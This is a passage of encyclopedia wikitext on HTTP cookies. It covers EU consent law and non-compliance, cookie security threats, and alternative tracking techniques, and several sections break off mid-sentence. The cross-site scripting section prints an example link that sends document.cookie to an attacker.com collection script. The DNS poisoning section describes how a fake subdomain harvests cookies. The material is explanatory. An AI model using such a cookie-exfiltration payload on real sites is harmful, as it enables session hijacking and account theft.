In 2009, the law was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage.<ref name="ICO reference" /> The definition of consent is cross-referenced to the definition in European data protection law, firstly the Data Protection Directive 1995 and subsequently the [[General Data Protection Regulation]] (GDPR). As the definition of consent was strengthened in the text of the GDPR, this had the effect of increasing the quality of consent required by those storing and accessing information such as cookies on users devices. In a case decided under the Data Protection Directive however, the [[Court of Justice of the European Union]] later confirmed however that the previous law implied the same strong quality of consent as the current instrument.<ref name="eur-lex.europa.eu">{{Cite web|title=EUR-Lex - 62017CN0673 - EN - EUR-Lex|url=https://eur-lex.europa.eu/legal-content/EN/ALL/?uri=CELEX:62017CN0673|access-date=2021-06-06|website=eur-lex.europa.eu}}</ref> In addition to the requirement of consent which stems from storing or accessing information on a user's terminal device, the information in many cookies will be considered personal data under the GDPR alone, and will require a legal basis to process. This has been the case since the 1995 Data Protection Directive, which used an identical definition of personal data, although the GDPR in interpretative Recital 30 clarifies that cookie identifiers are included. While not all data processing under the GDPR requires consent, the characteristics of behavioural advertising mean that it is difficult or impossible to justify under any other ground.<ref name="Veale">{{Citation |last1=Veale|first1=Michael|last2=Zuiderveen Borgesius|first2=Frederik|date=2021-04-01|title=Adtech and Real-Time Bidding under European Data Protection Law|url=https://osf.io/wg8fq|doi=10.31235/osf.io/wg8fq|s2cid=243311598|doi-access=free|hdl=2066/253518|hdl-access=free}}</ref><ref>{{Cite journal|last=Zuiderveen Borgesius|first=Frederik J.|date=August 2015|title=Personal data processing for behavioural targeting: which legal basis?|journal=International Data Privacy Law|language=en|volume=5|issue=3|pages=163–176|doi=10.1093/idpl/ipv011|issn=2044-3994|doi-access=free}}</ref>
Consent under the combination of the GDPR and e-Privacy Directive has to meet a number of conditions in relation to cookies.<ref name=":0">{{Cite book|last1=Nouwens|first1=Midas|last2=Liccardi|first2=Ilaria|last3=Veale|first3=Michael|last4=Karger|first4=David|last5=Kagal|first5=Lalana|title=Proceedings of the 2020 CHI Conference on Human Factors in Computing Systems |chapter=Dark Patterns after the GDPR: Scraping Consent Pop-ups and Demonstrating their Influence |date=2020-04-21|chapter-url=https://dl.acm.org/doi/10.1145/3313831.3376321|series=Chi '20|language=en|___location=Honolulu HI USA|publisher=ACM|pages=1–13|doi=10.1145/3313831.3376321|arxiv=2001.02479|isbn=978-1-4503-6708-0|hdl=1721.1/129999|s2cid=210064317|hdl-access=free}}</ref> It must be freely given and unambiguous: preticked boxes were banned under both the Data Protection Directive 1995<ref name="eur-lex.europa.eu"/> and the GDPR (Recital 32).<ref name=":1">{{Cite web|title=EUR-Lex - 32016R0679 - EN - EUR-Lex|url=https://eur-lex.europa.eu/eli/reg/2016/679/oj|access-date=2021-06-06|website=eur-lex.europa.eu|language=en}}</ref> The GDPR is specific that consent must be as 'easy to withdraw as to give',<ref name=":1" /> meaning that a reject-all button must be as easy to access in terms of clicks and visibility as an 'accept all' button.<ref name=":0" /> It must be specific and informed, meaning that consent relates to particular purposes for the use of this data, and all organisations seeking to use this consent must be specifically named.<ref name=":2">{{Cite book|last=Information Commissioner's Office|url=https://cy.ico.org.uk/media/about-the-ico/documents/2615156/adtech-real-time-bidding-report-201906-dl191220.pdf|title=Update Report into Adtech and Real Time Bidding|year=2019|archive-url=https://web.archive.org/web/20210513192000/https://cy.ico.org.uk/media/about-the-ico/documents/2615156/adtech-real-time-bidding-report-201906-dl191220.pdf|archive-date=2021-05-13|url-status=live}}</ref><ref>{{Cite web|url=https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038783337|access-date=2021-06-06|title=Délibération n° 2019-093 du 4 juillet 2019 portant adoption de lignes directrices relatives à l'application de l'article 82 de la loi du 6 janvier 1978 modifiée aux opérations de lecture ou écriture dans le terminal d'un utilisateur (notamment aux cookies et autres traceurs) (rectificatif)|website=www.legifrance.gouv.fr}}</ref> The [[Court of Justice of the European Union]] has also ruled that consent must be 'efficient and timely', meaning that it must be gained before cookies are laid and data processing begins instead of afterwards.<ref>{{Cite web|title=EUR-Lex - 62017CC0040 - EN - EUR-Lex|url=https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:62017CC0040|access-date=2021-06-06|website=eur-lex.europa.eu}}</ref>
The industry's response has been largely negative. Robert Bond of the law firm Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for "all UK companies". Simon Davis of [[Privacy International]] argues that proper enforcement would "destroy the entire industry".<ref name="sKaxf">{{cite
Academic studies and regulators both describe widespread non-compliance with the law. A study scraping 10,000 UK websites found that only 11.8% of sites adhered to minimal legal requirements, with only 33.4% of websites studied providing a mechanism to reject cookies that was as easy to use as accepting them.<ref name=":0"/> A study of 17,000 websites found that 84% of sites breached this criterion, finding additionally that many laid third party cookies with no notice at all.<ref>{{cite book | last1=Kampanos | first1=Georgios | last2=Shahandashti | first2=Siamak F. | series=IFIP Advances in Information and Communication Technology | volume=625 | title=ICT Systems Security and Privacy Protection | chapter=Accept All: The Landscape of Cookie Banners in Greece and the UK | publisher=Springer International Publishing | publication-place=Cham | year=2021 | isbn=978-3-030-78119-4 | issn=1868-4238 | doi=10.1007/978-3-030-78120-0_14 | pages=213–227|arxiv=2104.05750| s2cid=233219491 }}</ref> The UK regulator, the [[Information Commissioner's Office]], stated in 2019 that the industry's 'Transparency and Consent Framework' from the advertising technology group the [[Interactive Advertising Bureau]] was 'insufficient to ensure transparency and fair processing of the personal data in question and therefore also insufficient to provide for free and informed consent, with attendant implications for PECR [e-Privacy] compliance.'<ref name=":2" /> Many companies that sell compliance solutions (Consent Management Platforms) permit them to be configured in manifestly illegal ways, which scholars have noted creates questions around the appropriate allocation of liability.<ref>{{Citation|last1=Santos|first1=Cristiana|date=2021|url=https://link.springer.com/10.1007/978-3-030-76663-4_3|work=Privacy Technologies and Policy|volume=12703|pages=47–69|editor-last=Gruschka|editor-first=Nils|place=Cham|publisher=Springer International Publishing|language=en|doi=10.1007/978-3-030-76663-4_3|isbn=978-3-030-76662-7|access-date=2021-06-06|last2=Nouwens|first2=Midas|last3=Toth|first3=Michael|last4=Bielova|first4=Nataliia|last5=Roca|first5=Vincent|title=Consent Management Platforms Under the GDPR: Processors and/Or Controllers? |series=Lecture Notes in Computer Science |editor2-last=Antunes|editor2-first=Luís Filipe Coelho|editor3-last=Rannenberg|editor3-first=Kai|editor4-last=Drogkaris|editor4-first=Prokopios|arxiv=2104.06861|s2cid=233231428}}</ref>
A [[W3C]] specification called [[P3P]] was proposed for servers to communicate their privacy policy to browsers, allowing automatic, user-configurable handling. However, few websites implement the specification, and the W3C has discontinued work on the specification.<ref>{{Cite web|title=P3P: The Platform for Privacy Preferences|url=https://www.w3.org/P3P/Overview.html|access-date=2021-10-15|website=W3C }}</ref>
Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience on all sites. Some sites operate 'cookie walls', which make access to a site conditional on allowing cookies either technically in a browser, through pressing 'accept', or both.<ref>{{Cite journal|last1=Zuiderveen Borgesius|first1=F.J.|last2=Kruikemeier|first2=S.|last3=C Boerman|first3=S.|last4=Helberger|first4=N.|date=2017|title=Tracking Walls, Take-It-Or-Leave-It Choices, the GDPR, and the ePrivacy Regulation|url=http://edpl.lexxion.eu/article/EDPL/2017/3/9|journal=European Data Protection Law Review|volume=3|issue=3|pages=353–368|doi=10.21552/edpl/2017/3/9|hdl=11245.1/dfb59b54-0544-4c65-815a-640eae10668a|hdl-access=free}}</ref> In 2020, the [[European Data Protection Board]], composed of all EU data protection regulators, stated that cookie walls were illegal.<blockquote>In order for consent to be freely given, access to services and functionalities must not be made conditional on the consent of a user to the storing of information, or gaining of access to information already stored, in the terminal equipment of a user (so called cookie walls).<ref>{{Cite web|title=Guidelines 05/2020 on consent under Regulation 2016/679 {{!}} European Data Protection Board|url=https://edpb.europa.eu/our-work-tools/our-documents/guidelines/guidelines-052020-consent-under-regulation-2016679_en|access-date=2021-06-06|website=edpb.europa.eu}}</ref></blockquote>Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising.<ref name="nyt-bits">{{cite web|title=A Loophole Big Enough for a Cookie to Fit Through|url=http://bits.blogs.nytimes.com/2010/09/17/a-loophole-big-enough-for-a-cookie-to-fit-through/|work=Bits|publisher=The New York Times|access-date=31 January 2013|archive-url=https://web.archive.org/web/20130126032302/http://bits.blogs.nytimes.com/2010/09/17/a-loophole-big-enough-for-a-cookie-to-fit-through/|archive-date=26 January 2013|url-status=live|date=2010-09-17}}</ref><ref name="howtoblock">{{cite news |first=Rob |last=Pegoraro |url=https://www.washingtonpost.com/wp-dyn/content/article/2005/07/16/AR2005071600111.html |title=How to Block Tracking Cookies |page=F07 |date=July 17, 2005 |newspaper=Washington Post |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20110427074701/http://www.washingtonpost.com/wp-dyn/content/article/2005/07/16/AR2005071600111.html |archive-date=April 27, 2011 |url-status=live}}</ref> However, this is often ineffective against many forms of tracking, such as first-party tracking that is growing in popularity to avoid the impact of browsers blocking third party cookies.<ref>{{Cite news|last=Claburn|first=Thomas|___location=San Francisco|title=What's CNAME of your game? This DNS-based tracking defies your browser privacy defenses|url=https://www.theregister.com/2021/02/24/dns_cname_tracking/|access-date=2021-06-06|website=www.theregister.com|language=en}}</ref><ref>{{cite arXiv|last1=Dimova|first1=Yana|last2=Acar|first2=Gunes|last3=Olejnik|first3=Lukasz|last4=Joosen|first4=Wouter|last5=Van Goethem|first5=Tom|date=2021-03-05|title=The CNAME of the Game: Large-scale Analysis of DNS-based Tracking Evasion|class=cs.CR|eprint=2102.09301}}</ref> Furthermore, if such a setting is more difficult to place than the acceptance of tracking, it remains in breach of the conditions of the e-Privacy Directive.<ref name=":0"/>
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===Network eavesdropping===
[[File:Cookie-sniffing.svg|thumb|A cookie can be stolen by another computer that is allowed reading from the network.]]
Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over [[plaintext|unencrypted]] open [[Wi-Fi]]). This traffic includes cookies sent on ordinary unencrypted [[HTTP sessions]]. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a [[man-in-the-middle attack]].
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An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account.
This issue can be resolved by securing the communication between the user's computer and the server by employing [[Transport Layer Security]] ([[HTTPS]] protocol) to encrypt the connection. A server can specify the <code>Secure</code> flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as
===Publishing false sub-___domain: DNS cache poisoning===
If an attacker is able to cause a [[DNS server]] to cache a fabricated DNS entry (called [[DNS cache poisoning]]), then this could allow the attacker to gain access to a user's cookies. For example, an attacker could use DNS cache poisoning to create a fabricated DNS entry of <code>f12345.www.example.com</code> that points to the [[IP address]] of the attacker's server. The attacker can then post an image URL from his own server (for example, <code><nowiki>http://f12345.www.example.com/img_4_cookie.jpg</nowiki></code>). Victims reading the attacker's message would download this image from <code>f12345.www.example.com</code>. Since <code>f12345.www.example.com</code> is a sub-___domain of <code>www.example.com</code>, victims' browsers would submit all <code>example.com</code>-related cookies to the attacker's server.
If an attacker is able to accomplish this, it is usually the fault of the [[Internet Service Provider]]s for not properly securing their DNS servers. However, the severity of this attack can be lessened if the target website uses secure cookies. In this case, the attacker would have the extra challenge<ref name="certificatehack">{{cite web | last=Zetter | first=Kim | title=Hack Obtains 9 Bogus Certificates for Prominent Websites; Traced to Iran - Threat Level - Wired.com
===Cross-site scripting: cookie theft===
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As an example, an attacker may post a message on <code>www.example.com</code> with the following link:
<syntaxhighlight lang="
<a href="#" onclick="window.___location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>
</syntaxhighlight>
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===Cookiejacking===
'''Cookiejacking''' is an attack against [[Internet Explorer]] which allows the attacker to steal [[
==Drawbacks of cookies==
Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer ([[Representational State Transfer|REST]]) software architectural style.<ref name="tBPhf">{{cite news |url=http://roy.gbiv.com/pubs/dissertation/evaluation.htm |title=Fielding Dissertation: CHAPTER 6: Experience and Evaluation |first=Roy |last=Fielding |year=2000 |access-date=2010-10-14 |archive-url=https://web.archive.org/web/20110427074406/http://roy.gbiv.com/pubs/dissertation/evaluation.htm |archive-date=2011-04-27 |url-status=live
===Inaccurate identification===
If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.<ref name="sD3KB">{{Cite web|last=Hoffman|first=Chris|title=What Is a Browser Cookie?|url=https://www.howtogeek.com/119458/htg-explains-whats-a-browser-cookie/|access-date=2021-04-03|website=How-To Geek|date=28 September 2016 |language=en-US}}</ref>
Likewise, cookies do not differentiate between multiple users who share the same [[user account]], computer, and browser.
==Alternatives to cookies==
Some of the operations that can be done using cookies can also be done using other mechanisms.
===Authentication and session management===
====JSON Web Tokens====
A [[JSON Web Token]] (JWT) is a self-contained packet of information that can be used to store user identity and authenticity information. This allows them to be used in place of session cookies. Unlike cookies, which are automatically attached to each HTTP request by the browser, JWTs must be explicitly attached to each HTTP request by the web application.
====HTTP authentication====
The HTTP protocol includes the [[basic access authentication]] and the [[digest access authentication]] protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user.
===
The [[query string]] part of the [[Uniform Resource Locator|URL]] is the part that is typically used for this purpose, but other parts can be used as well. The [[Java Servlet]] and [[PHP]] session mechanisms both use this method if cookies are not enabled.
This method consists of the web server appending query strings containing a unique session identifier to all the links inside of a web page. When the user follows a link, the browser sends the query string to the server, allowing the server to identify the user and maintain state.
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Other drawbacks of query strings are related to security. Storing data that identifies a session in a query string enables [[session fixation]] attacks, [[HTTP referer|referer]] logging attacks and other [[Exploit (computer security)|security exploits]]. Transferring session identifiers as HTTP cookies is more secure.
====Hidden form fields====
Another form of session tracking is to use [[form (web)|web forms]] with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks. In fact, if the form is handled with the [[HTTP]] GET method, then this technique is similar to using URL query strings, since the GET method adds the form fields to the URL as a query string. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be sent in the HTTP request body, which is neither part of the URL, nor of a cookie.
This approach presents two advantages from the point of view of the tracker. First, having the tracking information placed in the HTTP request body rather than in the URL means it will not be noticed by the average user. Second, the session information is not copied when the user copies the URL (to bookmark the page or send it via email, for example).
===
All current web browsers can store a fairly large amount of data (2–32 MB) via JavaScript using the [[Document Object Model|DOM]] property <code>window.name</code>. This data can be used instead of session cookies
The downside is that every separate window or [[Tabbed document interface|tab]] will initially have an empty <code>window.name</code> property when opened
In some respects, this can be more secure than cookies due to the fact that its contents are not automatically sent to the server on every request like cookies are, so it is not vulnerable to network cookie sniffing attacks
===Tracking===
====IP address====
Some users may be tracked based on the [[IP address]] of the computer requesting the page. The server knows the IP address of the computer running the browser (or the [[Proxy server|proxy]], if any is used) and could theoretically link a user's session to this IP address.
However, IP addresses are generally not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore, some systems, such as [[Tor (anonymity network)|Tor]], are designed to retain [[Internet anonymity]], rendering tracking by IP address impractical, impossible, or a security risk.
====ETag====
{{Main|HTTP ETag#Tracking using ETags}}
Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching
ETags can be flushed in some browsers by clearing the [[browser cache]].
===
{{Main|Web cache}}
The browser cache can also be used to store information that can be used to track individual users. This technique takes advantage of the fact that the web browser will use resources stored within the cache instead of downloading them from the website when it determines that the cache already has the most up-to-date version of the resource.
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For example, a website could serve a JavaScript file with code that sets a unique identifier for the user (for example, <code>var userId = 3243242;</code>). After the user's initial visit, every time the user accesses the page, this file will be loaded from the cache instead of downloaded from the server. Thus, its content will never change.
====Browser fingerprint====
{{Main|Device fingerprint}}
A [[browser fingerprint]] is information collected about a browser's configuration, such as version number, screen resolution, and operating system, for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.
Basic [[web browser]] configuration information has long been collected by [[web analytics]] services in an effort to accurately measure real human [[web traffic]] and discount various forms of [[click fraud]]. With the assistance of [[client-side scripting]] languages, collection of much more esoteric parameters is possible.<ref name="7MnkN">{{cite web |url=http://gemal.dk/browserspy/ |title=BrowserSpy |publisher=gemal.dk |access-date=2010-01-28 |archive-url=https://web.archive.org/web/20080926162150/http://gemal.dk/browserspy/ |archive-date=2008-09-26 |url-status=live
===Web storage===
{{Main|Web storage}}
Some web browsers support persistence mechanisms which allow the page to store the information locally for later use.
The [[HTML5]] standard (which most modern web browsers support to some extent) includes a JavaScript API called [[Web storage]] that allows two types of storage: local storage and session storage. Local storage behaves similarly to [[#Persistent cookie|persistent cookies]] while session storage behaves similarly to [[#Session cookie|session cookies]], except that session storage is tied to an individual tab/window's lifetime (AKA a page session), not to a whole browser session like session cookies.<ref name="7Tuzm">{{cite web|title = Window.sessionStorage, Web APIs {{!}} MDN|url = https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage|website = developer.mozilla.org|access-date = 2 October 2015|archive-url = https://web.archive.org/web/20150928223602/https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage|archive-date = 28 September 2015|url-status = live}}</ref>
Internet Explorer supports persistent information<ref name="dttaK">{{cite web|url=http://msdn.microsoft.com/en-us/library/ms533007%28v=vs.85%29.aspx|title=Introduction to Persistence|publisher=Microsoft|work=microsoft.com|access-date=2014-10-09|archive-url=https://web.archive.org/web/20150111024715/http://msdn.microsoft.com/en-us/library/ms533007(v=vs.85).aspx|archive-date=2015-01-11|url-status=live}}</ref> in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk.
Some web browser plugins include persistence mechanisms as well. For example, [[Adobe Flash]] has [[Local shared object]] and [[Microsoft Silverlight]] has Isolated storage.<ref name="7LUgp">{{cite web|url=http://msdn.microsoft.com/en-us/library/bdts8hk0%28v=vs.95%29.aspx|title=Isolated Storage|website=Microsoft.com|access-date=2014-10-09|archive-url=https://web.archive.org/web/20141216133258/http://msdn.microsoft.com/en-us/library/bdts8hk0(v=vs.95).aspx|archive-date=2014-12-16|url-status=live}}</ref>
==See also==
{{portal|Internet|Computer programming}}
* [[Session (computer science)]]
* [[Secure cookie]]
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==References==
{{
<!-- Dead note "rfc2": RFC 2109 and RFC 2965, HTTP State Management Mechanism ([[Internet Engineering Task Force|IETF]]) -->
===Sources===
* Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek - Online, pp. Informationweek - Online, May 26, 2011.
==External links==
{{Spoken Wikipedia|HTTP cookie.ogg|date=2016-05-28}}
{{Commons category|HTTP cookies}}
*
* [https://developer.mozilla.org/en-US/docs/Web_Development/HTTP_cookies HTTP cookies], Mozilla Developer Network
* [https://developer.mozilla.org/en-US/docs/DOM/document.cookie Using cookies via ECMAScript], Mozilla Developer Network
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[[Category:Hypertext Transfer Protocol headers|Cookie]]
[[Category:Internet privacy]]
[[Category:Hacking (computer security)]]
[[Category:Tracking]]
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